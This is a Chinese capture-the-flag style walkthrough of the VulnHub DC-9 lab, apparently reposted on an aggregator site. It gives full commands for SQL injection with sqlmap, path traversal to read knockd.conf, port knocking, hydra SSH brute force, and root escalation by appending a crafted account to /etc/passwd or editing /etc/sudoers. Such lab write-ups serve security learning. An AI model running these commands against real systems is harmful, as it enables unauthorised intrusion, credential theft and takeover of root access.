DC-9靶场

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip

2.虚拟机配置

设置虚拟机为nat,遇到错误点重试和是

开启虚拟机如下图所示

 

二.开始渗透

1. 信息收集

查找靶机的ip地址

arp-scan -l

发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128 

用nmap扫描其开启服务和端口

nmap -p- -sV 192.168.111.137

发现ssh和http服务打开 

用浏览器打开其http服务,如下图 

 发现一句提示,翻译一下看看

点击这个search,进行抓包

 发现此处存在sql注入

 2.sql注入

用sqlmap进行注入

sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs

跑users表

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables

 

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump

+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

 下爆staff的

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump

账号获取到了,密码被爆破出来了

看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump

 利用之前获取到的账号密码admin/transorbital1进行用户登录

登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含

看大佬的wp,访问该路径获取关键信息

http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 

 这玩意也不知道啥意思,问问万能的ai吧

[openSSH]

  • sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
  • seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
  • command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。

[closeSSH]

  • sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
  • seq_timeout = 25:与 [openSSH] 相同。
  • command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。 

也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口,轮流敲这些端口

nmap 192.168.111.137 -p 7469
nmap 192.168.111.137 -p 8475
nmap 192.168.111.137 -p 9842

nmap -p 22 192.168.111.137

查看到ssh服务已经开启

3.ssh暴力破解

将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt 

将前面保存sqlmap自动保存的csv文件复制到物理机进行操作

users.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

pass.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

 利用工具进行ssh账号密码爆破

hydra -L users.txt -P pass.txt 192.168.111.137 ssh

[22][ssh] host: 192.168.111.137   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.111.137   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.111.137   login: janitor   password: Ilovepeepee

4.获得shell

根据大佬wp可知,其他两个用户登录后无作用

登录janitor

ls -al

 查看到隐藏文件

cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt

 newpass.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

 重新进行爆破

hydra -l users.txt -P newpass.txt 192.168.111.137 ssh

爆破出一个新用户 

进行ssh连接 fredf/B4-Tru3-001

ssh fredf@192.168.111.137

5.提权

进行提权

sudo -l

列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件

 

cd到该目录下尝试运行,发现为python文件

找到这个test.py文件

find / -name test.py 2>/dev/null

查看文件

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

 发现代码作用需要两个文件,把第一文件追加到第二个文件后

openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码

openssl passwd -1 -salt mlws 1900
$1$mlws$VPTJ3t70fTytbTKtREHSF1

 

把下面内容写入一个文件

echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan

使用test文件,将该文件的内容写入到passwd中

sudo ./test /tmp/tiquan /etc/passwd

切换账户

su mlws

成功提权

 

成功获取到最终的flag

三.其他

1.可以用knock命令直接对三个端口进行敲击

需要安装knock

knock 192.168.111.137 7469 8475 9842

2.提权可构造权限行,写入/etc/sudoers

echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers
sudo su root

一样可以提权成功 

至此dc1-9靶机全部完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/507230.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

● 435. 无重叠区间 ● 763.划分字母区间 ● 56. 合并区间

● 435. 无重叠区间 class Solution:def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:if len(intervals)1:return 0intervalssorted(intervals,keylambda x:(x[0],x[1]))res0for i in range(1,len(intervals)):if intervals[i][0]<intervals[i-1][…

KUKA机器人更改时间和HMI最小化设置

在使用 KUKA 机器人时&#xff0c;示教器上左边有个“表”的图标&#xff0c;点一下就会显示时间。但一般不准&#xff0c;想要更改时间可以通过HMI最小化后进行更改设置。更改时间需要将示教器界面最小化&#xff0c;也就是进入Windows 界面。通过以下步骤可以进行设置&#x…

自定义口令加入群聊怎么弄?用词令关键词直达口令加入微信群延长群二维码7天有效方法

微信口令加入群聊有二种方式 一、微信面对面建群 微信面对面建群的方式适合现实中的朋友之间相互认识且想要建立群聊的场景。微信面对面建群口令加入群聊的有效距离是在几十米范围内&#xff0c;因此只能是附近几十米范围内的人&#xff0c;正确输入微信面对面建群口令后才可…

Linux---多线程(下)

前情提要&#xff1a;Linux---多线程(上) 七、互斥 临界资源&#xff1a;多线程执行流共享的资源就叫做临界资源临界区&#xff1a;每个线程内部&#xff0c;访问临界资源的代码&#xff0c;就叫做临界区互斥&#xff1a;任何时刻&#xff0c;互斥保证有且只有一个执行流进入临…

雪王涨价?媒介盒子揭秘它的圈粉秘籍

最近蜜雪冰城又又又站上风口浪尖了&#xff0c;起因是有网友发现部门门店涨了一块钱。 随着舆论发酵越来越快&#xff0c;蜜雪冰城回应了问题&#xff0c;表示涨价属实&#xff0c;目前只在上海试行。 原本产品的涨价或降价都是经营常态&#xff0c;为什么蜜雪冰城的涨价能引起…

164.乐理基础-和声小调、旋律小调

内容参考于&#xff1a;三分钟音乐社 上一个内容&#xff1a;163.自然小调、音名为何从C开始 首先是小调式里的和声小调 和声小调就是在自然小调的基础上&#xff0c;把自然小调的第Ⅶ级音升高一个半音&#xff0c;它的内部规则是 全半全全半增二半 带上首调 和声小调只有一个…

react 面试题(2024 最新版)

1. 对 React 的理解、特性 React 是靠数据驱动视图改变的一种框架&#xff0c;它的核心驱动方法就是用其提供的 setState 方法设置 state 中的数据从而驱动存放在内存中的虚拟 DOM 树的更新 更新方法就是通过 React 的 Diff 算法比较旧虚拟 DOM 树和新虚拟 DOM 树之间的 Chan…

无人驾驶(移动机器人)路径规划之A star(Tie Breaker)算法及其matlab实现

在自动驾驶与移动机器人路径规划时&#xff0c;必定会用到经典的算法A star。下面是我未加入与加入Tie Breaker 的matlab实现效果。可以发现加入Tie Breaker之后效果明显改善。 目录 一、效果比较 1.未加入Tie Breaker&#xff08;黑色为障碍物&#xff0c;菱形绿色为目标点…

Ubuntu joystick 测试手柄 xbox

Ubuntu joystick 测试手柄 xbox 测试使用Ubuntu20.04 测试环境在工控机 安装测试 实际测试使用的手柄是北通阿修罗2pro 兼容xbox Ubuntu20.04主机 连接手柄或者无线接收器后查看是否已经检测到&#xff1a; ls /dev/input找到输入中的 js0 即为手柄输入 需要安装joysti…

Linux基本指令篇

在前边&#xff0c;我们已经了解过了Linux操作系统的发展和应用&#xff0c;从该篇起&#xff0c;就正式进入对Linux的学习。 今天我们就来在Xshell上远程登录我们的云服务器。首先我们要知道自己云服务器的公网ip&#xff0c;然后修改一下密码。 点击跳转 修改完密码之后我们…

【Emgu CV教程】10.10、PointPolygonTest()判断点是否在轮廓内部

文章目录 一、函数介绍二、演示1.原始素材2.代码3.运行结果 一、函数介绍 PointPolygonTest()函数&#xff0c;俗称“点多边形检测”&#xff0c;是Emgu.CV中学习计算点到轮廓的距离&#xff0c;函数官方定义如下 public static double PointPolygonTest(IInputArray contour…

SpringSecurity学习总结(三更草堂)

SpringSecurity安全框架的核心功能是认证和授权&#xff1a; 认证&#xff1a;验证当前访问系统的是不是本系统的用户&#xff0c;并且要确认具体是哪个用户。 授权&#xff1a;经过认证后判断当前用户是否具有进行某个操作的权限。 一般来说中大型的项目都是使用SpringSecurit…

基于springboot实现房产销售系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现房产销售系统演示 摘要 随着科学技术的飞速发展&#xff0c;各行各业都在努力与现代先进技术接轨&#xff0c;通过科技手段提高自身的优势&#xff1b;对于房产销售系统当然也不能排除在外&#xff0c;随着网络技术的不断成熟&#xff0c;带动了房产销售系统…

flutter 使用wechatkit 进行分享 获取extinfo

首先有两个库 wechat_kit 基本分享 小程序分享等 wechat_kit | Flutter PackageA powerful Flutter plugin allowing developers to auth/share/pay with natvie Android & iOS Wechat SDKs.https://pub-web.flutter-io.cn/packages/wechat_kit需要调用微信sdk的api 还有…

[leetcode] 47. 全排列 II

文章目录 题目描述解题方法dfsjava代码复杂度分析 相似题目 题目描述 给定一个可包含重复数字的序列 nums &#xff0c;按任意顺序 返回所有不重复的全排列。 示例 1&#xff1a; 输入&#xff1a;nums [1,1,2] 输出&#xff1a; [[1,1,2],[1,2,1],[2,1,1]]示例 2&#xff…

软件测试面试在简历上写了“精通”后,拥有工作经验的我被面试官问到窒息...

前言 如果有真才实学&#xff0c;写个精通可以让面试官眼前一亮&#xff01; 如果是瞎写&#xff1f;基本就要被狠狠地虐一把里&#xff01; 最近在面试&#xff0c;我现在十分后悔在简历上写了“精通”二字… 先给大家看看我简历上的技能列表&#xff1a; 熟悉软件测试理…

T2最长的AB序列(20分) - 京东前端笔试编程题题解

考试平台&#xff1a; 牛客网 题目类型&#xff1a; 选择题&#xff08;40分&#xff09; 3道编程题&#xff08;60分&#xff09; 考试时间&#xff1a; 2024-03-23 &#xff08;两小时&#xff09; 题目描述 给出一个仅由字符AB构成的字符串Str 请你求出S中包含A和B个数相…

解码视频流在opengl中的贴图投影计算

解码视频流在opengl中的贴图投影计算 修改顶点着色器cpp 文件放大缩小 我们把视频当成纹理,首先要确定贴入的坐标&#xff0c;原始坐标如下所示 static float vertices[] {// ---- 位置 ---- ---- 颜色 ---- - 纹理坐标 -1.0f, 1.0f, 0.0f, 1.0f, 0.0f, 0.0f…

【Gitea的介绍】

&#x1f525;博主&#xff1a;程序员不想YY啊&#x1f525; &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家&#x1f4ab; &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 &#x1f308;希望本文对您有所裨益&#xff0c;如有…